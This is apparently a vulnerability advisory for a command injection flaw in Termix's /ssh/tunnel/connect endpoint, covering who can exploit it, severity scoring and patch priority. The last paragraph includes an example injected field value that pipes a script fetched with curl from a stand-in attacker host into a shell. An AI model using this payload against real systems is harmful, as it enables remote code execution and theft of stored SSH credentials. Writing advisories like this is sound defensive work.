Termix CVE-2026-45748

The attacker must be able to send an HTTP POST to the /ssh/tunnel/connect endpoint of a Termix instance running a version prior to 2.3.2, and must be able to supply or control the endpointIP, endpointUsername, or password fields of a host record consumed by that endpoint. The CVSS vector lists PR:N (no privileges), implying the endpoint is reachable without authentication in default deployments - though operators who place Termix behind SSO/reverse-proxy auth, on a private network, or who restrict host-record creation to admins will materially limit exposure. No user interaction is required (UI:N), and exploitation succeeds against default installations on any supported platform (Windows, Linux, macOS) where the Termix service is network-reachable.

The CVSS 9.8 score is justified by the vector AV:N/AC:L/PR:N/UI:N with full CIA impact - exploitation is network-reachable, low-complexity, requires no authentication per the vector, and yields RCE. SSVC signals would lean toward 'act': technical impact is total, automatable is plausible since the endpoint is a single HTTP POST, and exploitation requires no user interaction. However, EPSS data was not provided and the CVE is not on CISA KEV, so there is no evidence of active exploitation yet. One conflicting signal worth noting: the description says the injection occurs via fields in a 'host record,' which in many deployments would require an authenticated user to create the host entry first - verify against the actual route's auth middleware, because the PR:N rating may not reflect production deployments that gate /ssh/tunnel/connect behind login. Even so, given the low complexity and RCE outcome, this should be treated as a high-priority patch.

A remote attacker reachable to the Termix web service sends a POST request to /ssh/tunnel/connect with a host record whose endpointIP, endpointUsername, or password field embeds shell metacharacters such as '; curl attacker.tld/sh | sh #', causing the Termix server to execute the injected command on the host running Termix when it builds the SSH tunnel invocation. The result is persistent code execution on the Termix server itself (not on the remote SSH endpoint), giving the attacker a foothold from which to harvest stored SSH credentials for downstream hosts. No public exploit identified at time of analysis, but the bug is straightforward to weaponize given the published advisory.